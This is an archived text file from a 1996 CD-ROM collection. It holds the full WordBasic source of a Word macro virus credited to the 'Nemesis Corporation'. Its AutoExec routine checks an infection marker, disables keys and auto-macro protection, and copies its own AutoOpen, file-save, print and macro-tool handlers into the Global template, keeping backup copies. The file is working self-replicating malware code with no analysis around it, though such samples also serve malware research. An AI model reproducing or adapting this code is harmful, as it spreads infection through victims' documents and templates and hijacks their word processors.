home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESIS1.TXT < prev    next >
Encoding:
Text File  |  1996-04-16  |  2.3 KB  |  49 lines
  1. Macro AutoExec;
  2.  
  3. Sub MAIN
  4.  
  5. Section$ = "Compatibility"
  6. wininistr$ = "0x0020401"
  7. ProfileName$ = "RR2CD"
  8. PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
  9. Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
  10.  
  11. For i = 1 To CompteMacros(1)
  12.     If NomMacro$(i, 1) = "DateiSpeichernUnter" Then update = 1
  13. Next i
  14.  
  15. NoVir$ = GetProfileString$(Section$, ProfileName$)
  16. If (NoVir$ <> wininistr$) And (update = 1) Then
  17.     DΘsactiverTouches
  18.     DΘsactiverMacrosAuto 0
  19.     MacroCopie NomFenΩtre$() + ":AutoExec", "Global:AutoExec", 1
  20.     MacroCopie NomFenΩtre$() + ":AutoOpen", "Global:AutoOpen", 1
  21.     MacroCopie NomFenΩtre$() + ":Datei╓ffnen", "Global:Datei╓ffnen", 1
  22.     MacroCopie NomFenΩtre$() + ":DateiSpeichernUnter", "Global:DateiSpeichernUnter", 1
  23.     MacroCopie NomFenΩtre$() + ":DateiSpeichern", "Global:DateiSpeichern", 1
  24.     MacroCopie NomFenΩtre$() + ":Drop", "Global:Drop", 1
  25.     MacroCopie NomFenΩtre$() + ":DateiBeenden", "Global:DateiBeenden", 1
  26.     MacroCopie NomFenΩtre$() + ":DateiDrucken", "Global:DateiDrucken", 1
  27.     MacroCopie NomFenΩtre$() + ":DateiDruckenStandard", "Global:DateiDruckenStandard", 1
  28.     MacroCopie NomFenΩtre$() + ":ExtrasMakro", "Global:ExtrasMakro", 1
  29.     MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoClose", 1
  30.     MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoExit", 1
  31.     MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoNew", 1
  32.     MacroCopie NomFenΩtre$() + ":Dummy", "Global:AutoClose", 1
  33.     MacroCopie NomFenΩtre$() + ":Dummy", "Global:Dummy", 1
  34. ' Backup **************************************************
  35.     MacroCopie NomFenΩtre$() + ":Datei╓ffnen", "Global:Datei╓ffnenBak", 1
  36.     MacroCopie NomFenΩtre$() + ":AutoExec", "Global:AutoExecBak", 1
  37.     MacroCopie NomFenΩtre$() + ":AutoOpen", "Global:AutoOpenBak", 1
  38.     MacroCopie NomFenΩtre$() + ":DateiSpeichernUnter", "Global:DateiSpeichernUnterBak", 1
  39.     MacroCopie NomFenΩtre$() + ":DateiSpeichern", "Global:DateiSpeichernBak", 1
  40.     MacroCopie NomFenΩtre$() + ":Drop", "Global:DropBak", 1
  41.     MacroCopie NomFenΩtre$() + ":DateiBeenden", "Global:DateiBeendenBak", 1
  42.     MacroCopie NomFenΩtre$() + ":DateiDrucken", "Global:DateiDruckenBak", 1
  43.     MacroCopie NomFenΩtre$() + ":DateiDruckenStandard", "Global:DateiDruckenStandardBak", 1
  44.     MacroCopie NomFenΩtre$() + ":ExtrasMakro", "Global:ExtrasMakroBak", 1
  45.  
  46. End If
  47.  
  48. End Sub
  49.